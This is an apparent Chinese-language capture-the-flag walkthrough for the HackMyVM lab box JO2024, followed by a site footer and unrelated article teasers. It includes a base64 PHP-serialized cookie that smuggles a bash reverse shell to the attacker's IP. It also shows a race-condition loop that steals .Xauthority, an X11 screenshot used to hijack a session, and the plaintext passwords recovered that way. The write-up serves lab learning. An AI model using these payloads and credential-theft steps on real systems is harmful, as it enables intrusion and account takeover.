hackmyvm-JO2024

arp-scan -l

nmap -sS -v 192.168.222.202

gobuster dir -u http://192.168.222.202 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -b 301,401,403,404

訪問/preferences.php
看一下cookie
解密
TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjI6ImZyIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ==
O:15:"UserPreferences":2:{s:8:"language";s:2:"fr";s:15:"backgroundColor";s:4:"#ddd";}
language 的值可以直接執行系統指令

反彈shell

nc -lnvp 1234

curl http://192.168.222.202/preferences.php --cookie "preferences=TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjU4OiJiYXNoIC1jICdleGVjIGJhc2ggLWkgJj4vZGV2L3RjcC8xOTIuMTY4LjIyMi4xNDkvMTIzNCA8JjEnIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ%3D%3D"

信息收集

上傳pspy64收集下信息,發現backup一直在運行,可能是存在定時任務,那么backup就是我們要利用的文件了
查看 backup 文件
這是一個用于備份文件的bash腳本,主要功能是將 ?/home/vanity?目錄下的文件(除user.txt外)復制到 ?/backup?目錄,并進行完整性校驗。
dd 命令是一個低級別的復制命令,一般在復制整個硬盤的時候用。比如做啟動盤的時候,都是直接dd .然后有一個比較關鍵的點,dd 命令執行的時候會修改文件的權限,所以腳本在?dd ?后用?chmod 700 ?來修改文件權限。
可以使用條件競爭在它修改文件權限前讀到文件
上傳pspy64收集下信息,發現backup一直在運行,可能是存在定時任務,那么backup就是我們要利用的文件了

while true; do cat .Xauthority >> /tmp/log 2>/dev/null;sleep 0.01; done

.Xauthority ?這個文件是二進制的,所以用 cat 讀取的時候會亂碼。拿出來也沒用。所以用 XXD 來讀取。而靶機顯然不會有 XXD,所以我們簡單弄一個 busybox 過去就好了。
這個命令是一個 無限循環,它會持續執行以下操作:
while true; do
cat .Xauthority >> /tmp/log 2>/dev/null
sleep 0.01
done
作用分析
  1. while true; do ... done
  1. cat .Xauthority >> /tmp/log
  1. 2>/dev/null
  1. sleep 0.01
潛在用途(可能惡意)
  • 竊取 X11 認證信息
    • .Xauthority 存儲了 X11 會話的認證密鑰,攻擊者可能利用它進行GUI 會話劫持(如遠程控制桌面)。
  • 隱蔽數據泄露
    • 由于 /tmp/log 會不斷增長,攻擊者可能利用它隱蔽地收集 .Xauthority 數據(如通過 scp 或 nc 傳輸到遠程服務器)。
  • 磁盤填充攻擊
    • 如果 .Xauthority 較大,循環寫入 /tmp/log 可能導致 /tmp 分區被填滿,影響系統運行。
檢測方法
cat /tmp/log

利用 .Xauthority

6000 - Pentesting X11 - HackTricks

w 查看本地會話,目標vanity

上傳busybox

chmod +x busybox.1
./busybox.1 xxd log
./busybox xxd log 是一個 二進制文件查看/編輯命令,主要用于以 十六進制(HEX)和 ASCII 格式 查看或修改文件容。

xauth -f log

xauth -f log 是一個與 X Window 系統認證相關的命令,主要用于操作 X11 授權文件(.Xauthority 文件)。
  • xauth:X11 認證管理工具,用于查看或修改 X 服務器的訪問權限。
  • -f log:指定要操作的授權文件(默認是 ~/.Xauthority,這里改為 log)。
常見用法
bash復制代碼xauth -f log list # 查看 log 文件中的 X11 認證記錄 xauth -f log merge # 將 log 文件合并到當前會話的 .Xauthority xauth -f log extract - # 導出 log 文件中的認證信息
每行表示一個 X11 顯示(display)的認證記錄,包含:
  • 顯示名稱(如 unix:0 或 :0)
  • 認證協議(如 MIT-MAGIC-COOKIE-1)
  • 認證密鑰(十六進制字符串)

export XAUTHORITY=/tmp/log

export XAUTHORITY=/tmp/log 這條命令的作用是 臨時修改當前 Shell 會話的 X11 認證文件路徑,將默認的
~/.Xauthority(存儲 X Window 系統的認證 cookie)替換為自定義路徑
/tmp/log。

xwd -root -screen -silent -display :0 > screenshot.xwd

這條命令 xwd -root -screen -silent -display :0 > screenshot.xwd 用于 捕獲 Linux/Unix 系統上的 X11 圖形界面屏幕截圖,并將其保存為 .xwd(X Window Dump)格式的文件。
文件格式(.xwd)
  • XWD 格式 是 X11 系統的原生截圖格式,包含像素數據和窗口元信息。
  • 轉換方法:可用 convert(ImageMagick)轉換為常見格式(如 PNG/JPG):
convert screenshot.xwd screenshot.png
將screenshot.xwd下載到本地
vanity:xd0oITR93KIQDbiD

切換用戶

su -l vanity

提權

sudo -l

cat /usr/local/bin/php-server.sh

1. 腳本解析
  • #!/bin/bash:指定使用 Bash 解釋器執行腳本。
  • /usr/bin/php:調用 PHP 解釋器(通常位于 /usr/bin/php)。
  • -t /opt:設置服務器的 文檔根目錄(Document Root) 為 /opt(即網站文件存放位置)。
  • -S 0.0.0.0:8000:啟動 PHP 內置服務器,監聽所有網絡接口(0.0.0.0)的 8000 端口
2. 作用
快速啟動 PHP 開發服務器
  • 適用于 本地開發測試,無需配置 Nginx/Apache。
  • 訪問方式:http://:8000(如 http://localhost:8000)。

sudo /usr/local/bin/php-server.sh

運行該腳本,訪問靶機8000端口
點擊F12
root密碼是LightningBolt123

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/76184.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/76184.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/76184.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

從零開始學習SQL

1.1 MySQL概述 1. 數據管理技術的發展過程 數據庫技術是應數據管理任務的需要而產生的 a. 什么是數據管理 ** 對數據進行收集、分類、組織、編碼、存儲、檢索和維護一系列活動的總和 **b. 數據管理技術的發展過程 人工管理階段(20世紀50年代中之前)…

輸電線路在線監測通信規約,即I1協議

文章目錄 概要整體架構流程數據幀格式技術細節 概要 輸電線路在線監測系統 transmission lines online monitoring system 監測輸電線路設備本體、氣象環境、通道狀況等信息,定性或定量分析輸電線路運行狀況的應用系 統。一般包括主站系統、監測裝置以及主站系統與…

【AI】Orin NX+ubuntu22.04上移植YoloV11,并使用DeepStream測試成功

【AI】郭老二博文之:AI學習目錄匯總 1、燒寫系統 新到的開發板,已經燒寫好Ubuntu系統,版本為22.04。 如果沒有升級到Ubuntu22.04,可以在電腦Ubuntu系統中使用SDKManager來燒寫Ubuntu系統,網絡情況好的話,也可以直接將CUDA、cuDNN、TensorRT、Deepstream等也安裝上。 2…

C++之輸入與輸出

文章目錄 C 輸入輸出 (I/O) 詳解基本 I/O 組件(input / output)基本輸出 (cout)基本輸入 (cin)格式化輸出文件 I/O字符串流常見 I/O 方法比較錯誤處理其他保留小數 C 輸入輸出 (I/O) 詳解 C 使用標準庫中的 iostream 庫來處理輸入輸出操作。主要包括以下…

流動的夢境:GPT-4o 的自回歸圖像生成深度解析

每周跟蹤AI熱點新聞動向和震撼發展 想要探索生成式人工智能的前沿進展嗎?訂閱我們的簡報,深入解析最新的技術突破、實際應用案例和未來的趨勢。與全球數同行一同,從行業內部的深度分析和實用指南中受益。不要錯過這個機會,成為AI領…

eBay多賬號安全運營技術體系:從環境隔離到智能風控的工程化實踐

一、多賬號運營風險模型解析 (技術化重構關聯檢測機制) 環境指紋維度: 瀏覽器指紋參數:Canvas/WebGL渲染特征(差異度要求≥98%) 設備指紋參數:GPU型號/聲卡特征(識別準確率92%&…

Vue 3 模板引用(Template Refs)詳解與實戰示例

Vue 3 模板引用(Template Refs)詳解與實戰示例 引言 在 Vue 開發中,通常推薦使用 響應式數據 (ref 和 reactive) 進行數據綁定,而不是直接操作 DOM。但是,在某些情況下,我們確實需要訪問某個組件或 DOM 元…

《Operating System Concepts》閱讀筆記:p495-p511

《Operating System Concepts》學習第 44 天,p495-p511 總結,總計 17 頁。 一、技術總結 1.cache (1)定義 A cache is a region of fast memory that holds copies of data. (2)cache 和 buffer 的區別 The difference between a buffer and a cac…

通過Spring Boot集成WebSocket進行消息通信

文章目錄 通過Spring Boot集成WebSocket進行消息通信1. 創建 Spring Boot 項目2. 添加 WebSocket 依賴3. 配置 WebSocket4. 創建 WebSocket 處理器5. 創建控制器(可選)6. 前端頁面測試7. 運行項目注意事項 通過Spring Boot集成WebSocket進行消息通信 1.…

rust服務應用開發框架

原文鏈接:https://i68.ltd/notes/posts/20250313-rust-wasm-fw/ spin 開源開發工具,用于構建和運行由 WebAssembly 提供支持的無服務器應用程序Spin 是一個框架,用于使用 WebAssembly 構建,部署和運行快速,安全和可組合的云端微…

迷茫的一周 2025/3/28

Java篇 在Java中,以下數據類型中,需要內存最多的是(long) - A選項byte:占用1個字節(8位) - B選項long:占用8個字節(64位) - C選項Object:Object本身是一個引用,在32位JVM…

Elasticsearch 的搜索功能

Elasticsearch 的搜索功能 建議閱讀順序: Elasticsearch 入門Elasticsearch 搜索(本文)Elasticsearch 搜索高級Elasticsearch 高級 1. 介紹 使用 Elasticsearch 最終目的是為了實現搜索功能,現在先將文檔添加到索引中&#xff0c…

docker鏡像拉取失敗

hub.docker.com中提供的docker pull命令在服務器拉取鏡像時報錯Error response from daemon: Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers) 這個錯誤通常表明Docker客戶…

EFISH-SBC-RK3576 + 5G模組:無線工業相機與分布式AI質檢?

在智能制造與倉儲物流場景中,傳統有線工業相機存在部署成本高、靈活性差等痛點。?eFish-SBC-RK3576? 通過 ?5G無線傳輸 分布式NPU協同?,實現跨產線、跨工廠的AI質檢系統,檢測效率提升300%,布線復雜度降低90%。 ?1. 系統架構…

AI提示詞編寫方法全解析

在人工智能日益融入生活的當下,如何巧妙編寫提示詞,成為充分發揮AI效能的關鍵。以下為您詳細介紹幾種實用的AI提示詞編寫方法。 角色扮演法:賦予AI獨特身份 角色扮演法旨在讓AI模擬特定角色。當我們渴望AI以歷史人物、虛擬角色的視角進行表…

【docker】docker應用舉例

# Docker創建python項目 ## 1. 準備 Dockerfile 首先,在項目根目錄下創建一個 Dockerfile,用于定義 Docker 鏡像的構建步驟。 # 使用官方 Python 鏡像作為基礎鏡像 FROM python:3.9-slim # 設置工作目錄 WORKDIR /app # 復制項目文件到容器中 COPY . /app # 安裝項目依賴…

【大模型】SpringBoot整合LangChain4j實現RAG檢索實戰詳解

目錄 一、前言 二、LangChain4j 介紹 2.1 什么是LangChain4j 2.2 LangChain4j 主要特點 2.3 Langchain4j 核心組件 三、RAG介紹 3.1 什么是RAG 3.2 RAG工作流程 3.2.1 補充說明 3.3 Embedding模型 3.3.1 RAG實際使用步驟 3.3.2 什么是Embedding 3.3.3 Embedding 技…

基于 Trae 的超輕量級前端架構設計與性能優化實踐

一、技術背景與選型動因 在單頁應用(SPA)復雜度指數級增長的今天,傳統框架在千級列表渲染場景下普遍存在首屏延遲(>1.5s)、內存占用過高(>200MB)等問題。基于對 Webpack Bundle Analyzer 的長期觀察,我們發現核心問題集中在: ? 類組件…

dotnet core web api linux主機公網發布

效果: 發布流程: 創建一個ASP.NET Core Web API 工程 輸入工程名 選擇框架版本為.net 9.0及選擇配置HTTPS和啟用OPENAPI 啟動調試 確認證書

WPS宏開發手冊——JSA語法練習

目錄 系列文章3、JSA語法練習3.1、運算練習3.2、比較練習3.3、if else練習3.4、for 練習3.5、字符串、數組方法練習3.6、語義轉編程練習題 系列文章 使用、工程、模塊介紹 JSA語法 JSA語法練習題 Excel常用Api 后續EXCEL實戰、常見問題、顏色附錄,持…